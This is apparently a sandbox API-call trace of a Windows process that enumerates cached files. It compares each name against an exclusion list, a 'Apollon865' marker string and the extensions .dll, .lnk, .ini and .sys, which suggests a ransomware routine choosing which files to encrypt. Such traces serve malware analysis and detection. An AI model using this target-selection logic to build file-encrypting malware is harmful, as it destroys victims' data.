	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="boot") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="ids.txt") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="ntuser.dat") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="perflogs") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="MSBuild") returned -1
	[0044.174] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*") returned 83
	[0044.174] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" | out: lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B"
	[0044.174] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.174] lstrlenW (lpString="Apollon865") returned 10
	[0044.174] lstrcmpiW (lpString1="29BE09D91B", lpString2="Apollon865") returned -1
	[0044.174] lstrlenW (lpString=".dll") returned 4
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".dll") returned 1
	[0044.174] lstrlenW (lpString=".lnk") returned 4
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".lnk") returned 1
	[0044.174] lstrlenW (lpString=".ini") returned 4
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".ini") returned 1
	[0044.174] lstrlenW (lpString=".sys") returned 4
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".sys") returned 1
	[0044.174] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.175] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" | out: lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875"
	[0044.175] lstrlenW (lpString="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 65
	[0044.175] lstrlenW (lpString="Apollon865") returned 10
	[0044.175] lstrcmpiW (lpString1="1BCE81F875", lpString2="Apollon865") returned -1
	[0044.175] lstrlenW (lpString=".dll") returned 4
	[0044.175] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".dll") returned 1
	[0044.175] lstrlenW (lpString=".lnk") returned 4
	[0044.175] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".lnk") returned 1
	[0044.175] lstrlenW (lpString=".ini") returned 4
	[0044.175] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".ini") returned 1
	[0044.175] lstrlenW (lpString=".sys") returned 4
	[0044.175] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".sys") returned 1
	[0044.175] lstrlenW (lpString="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 65
	[0044.175] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" | out: lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973"
	[0044.175] lstrlenW (lpString="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 65
	[0044.175] lstrlenW (lpString="Apollon865") returned 10
	[0044.175] lstrcmpiW (lpString1="96D21D7973", lpString2="Apollon865") returned -1
	[0044.175] lstrlenW (lpString=".dll") returned 4
	[0044.175] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".dll") returned 1
	[0044.175] lstrlenW (lpString=".lnk") returned 4
	[0044.175] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".lnk") returned 1
	[0044.175] lstrlenW (lpString=".ini") returned 4
	[0044.175] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".ini") returned 1
	[0044.175] lstrlenW (lpString=".sys") returned 4
	[0044.175] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".sys") returned 1
	[0044.175] lstrlenW (lpString="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 65
	[0044.175] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406" | out: lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="1DAF2884EC4DFA96BA4A58D4DBC9C406"
	[0044.175] lstrlenW (lpString="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 32
	[0044.175] lstrlenW (lpString="Apollon865") returned 10
	[0044.175] lstrcmpiW (lpString1="D4DBC9C406", lpString2="Apollon865") returned 1
	[0044.175] lstrlenW (lpString=".dll") returned 4
	[0044.175] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".dll") returned 1
	[0044.176] lstrlenW (lpString=".lnk") returned 4
	[0044.176] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".lnk") returned 1
	[0044.176] lstrlenW (lpString=".ini") returned 4
	[0044.176] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".ini") returned 1
	[0044.176] lstrlenW (lpString=".sys") returned 4
	[0044.176] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".sys") returned 1
	[0044.176] lstrlenW (lpString="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 32
	[0044.176] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="23B523C9E7746F715D33C6527C18EB9D" | out: lpString1="23B523C9E7746F715D33C6527C18EB9D") returned="23B523C9E7746F715D33C6527C18EB9D"
	[0044.176] lstrlenW (lpString="23B523C9E7746F715D33C6527C18EB9D") returned 32
	[0044.176] lstrlenW (lpString="Apollon865") returned 10
	[0044.176] lstrcmpiW (lpString1="527C18EB9D", lpString2="Apollon865") returned -1
	[0044.176] lstrlenW (lpString=".dll") returned 4
	[0044.176] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".dll") returned 1
	[0044.176] lstrlenW (lpString=".lnk") returned 4
	[0044.176] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".lnk") returned 1
	[0044.176] lstrlenW (lpString=".ini") returned 4
	[0044.176] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".ini") returned 1
	[0044.176] lstrlenW (lpString=".sys") returned 4
	[0044.176] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".sys") returned 1
	[0044.176] lstrlenW (lpString="23B523C9E7746F715D33C6527C18EB9D") returned 32
	[0044.176] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="3130B1871A126520A8C47861EFE3ED4D" | out: lpString1="3130B1871A126520A8C47861EFE3ED4D") returned="3130B1871A126520A8C47861EFE3ED4D"
	[0044.176] lstrlenW (lpString="3130B1871A126520A8C47861EFE3ED4D") returned 32
	[0044.176] lstrlenW (lpString="Apollon865") returned 10
	[0044.176] lstrcmpiW (lpString1="61EFE3ED4D", lpString2="Apollon865") returned -1
	[0044.176] lstrlenW (lpString=".dll") returned 4
	[0044.176] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".dll") returned 1
	[0044.176] lstrlenW (lpString=".lnk") returned 4
	[0044.176] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".lnk") returned 1
	[0044.176] lstrlenW (lpString=".ini") returned 4
	[0044.176] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".ini") returned 1
	[0044.176] lstrlenW (lpString=".sys") returned 4
	[0044.176] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".sys") returned 1
	[0044.177] lstrlenW (lpString="3130B1871A126520A8C47861EFE3ED4D") returned 32
	[0044.177] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" | out: lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D"
	[0044.177] lstrlenW (lpString="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 65
	[0044.177] lstrlenW (lpString="Apollon865") returned 10
	[0044.177] lstrcmpiW (lpString1="DEC6D6838D", lpString2="Apollon865") returned 1
	[0044.177] lstrlenW (lpString=".dll") returned 4
	[0044.177] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".dll") returned 1
	[0044.177] lstrlenW (lpString=".lnk") returned 4
	[0044.177] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".lnk") returned 1
	[0044.177] lstrlenW (lpString=".ini") returned 4
	[0044.177] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".ini") returned 1
	[0044.177] lstrlenW (lpString=".sys") returned 4
	[0044.177] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".sys") returned 1
	[0044.177] lstrlenW (lpString="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 65
	[0044.177] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" | out: lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1"
	[0044.177] lstrlenW (lpString="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 65
	[0044.177] lstrlenW (lpString="Apollon865") returned 10
	[0044.177] lstrcmpiW (lpString1="9BDE565AF1", lpString2="Apollon865") returned -1
	[0044.177] lstrlenW (lpString=".dll") returned 4
	[0044.177] lstrcmpiW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2=".dll") returned 1
	[0044.177] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" | out: lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398"
	[0044.177] lstrlenW (lpString="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 65
	[0044.177] lstrlenW (lpString="Apollon865") returned 10
	[0044.177] lstrcmpiW (lpString1="B61C303398", lpString2="Apollon865") returned 1
	[0044.177] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" | out: lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9"
	[0044.177] lstrlenW (lpString="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 65
	[0044.177] lstrlenW (lpString="Apollon865") returned 10
	[0044.177] lstrcmpiW (lpString1="9EFCDD76E9", lpString2="Apollon865") returned -1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" | out: lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77"
	[0044.178] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 65
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="CF29711C77", lpString2="Apollon865") returned 1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" | out: lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220"
	[0044.178] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 65
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="F8FC7C6220", lpString2="Apollon865") returned 1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" | out: lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4"
	[0044.178] lstrlenW (lpString="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 65
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="4D80FAF2B4", lpString2="Apollon865") returned -1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="696F3DE637E6DE85B458996D49D759AD" | out: lpString1="696F3DE637E6DE85B458996D49D759AD") returned="696F3DE637E6DE85B458996D49D759AD"
	[0044.178] lstrlenW (lpString="696F3DE637E6DE85B458996D49D759AD") returned 32
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="6D49D759AD", lpString2="Apollon865") returned -1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" | out: lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21"
	[0044.178] lstrlenW (lpString="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 65
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="B52968EC21", lpString2="Apollon865") returned 1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21" | out: lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21") returned="7396C420A8E1BC1DA97F1AF0D10BAD21"
	[0044.178] lstrlenW (lpString="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 32
	[0044.178] lstrlenW (lpString="Apollon865") returned 10
	[0044.178] lstrcmpiW (lpString1="F0D10BAD21", lpString2="Apollon865") returned 1
	[0044.178] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" | out: lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6"
	[0044.179] lstrlenW (lpString="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 65
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="3D8A7A8AD6", lpString2="Apollon865") returned -1
	[0044.179] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0044.179] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0044.179] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" | out: lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D"
	[0044.179] lstrlenW (lpString="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 65
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="AED525802D", lpString2="Apollon865") returned -1
	[0044.179] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" | out: lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6"
	[0044.179] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 65
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="10C078E6E6", lpString2="Apollon865") returned -1
	[0044.179] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" | out: lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD"
	[0044.179] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 65
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="E5A870E3BD", lpString2="Apollon865") returned 1
	[0044.179] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0"
	[0044.179] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 65
	[0044.179] lstrlenW (lpString="Apollon865") returned 10
	[0044.179] lstrcmpiW (lpString1="9716359AF0", lpString2="Apollon865") returned -1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="606D55BC1E", lpString2="Apollon865") returned -1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="01439CBBA1", lpString2="Apollon865") returned -1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="637614A40E", lpString2="Apollon865") returned -1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="CBD85B10A4", lpString2="Apollon865") returned 1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="4057155778", lpString2="Apollon865") returned -1
	[0044.180] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED"
	[0044.180] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 65
	[0044.180] lstrlenW (lpString="Apollon865") returned 10
	[0044.180] lstrcmpiW (lpString1="47EEB043ED", lpString2="Apollon865") returned -1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E"
	[0044.181] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="8BC920971E", lpString2="Apollon865") returned -1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30"
	[0044.181] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="454C39CA30", lpString2="Apollon865") returned -1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB"
	[0044.181] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="FBFA0392EB", lpString2="Apollon865") returned 1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" | out: lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56"
	[0044.181] lstrlenW (lpString="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="CDBC3D7D56", lpString2="Apollon865") returned 1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" | out: lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F"
	[0044.181] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="562A778C5F", lpString2="Apollon865") returned -1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" | out: lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416"
	[0044.181] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 65
	[0044.181] lstrlenW (lpString="Apollon865") returned 10
	[0044.181] lstrcmpiW (lpString1="1A64B99416", lpString2="Apollon865") returned -1
	[0044.181] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" | out: lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61"
	[0044.181] lstrlenW (lpString="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="8A21255C61", lpString2="Apollon865") returned -1
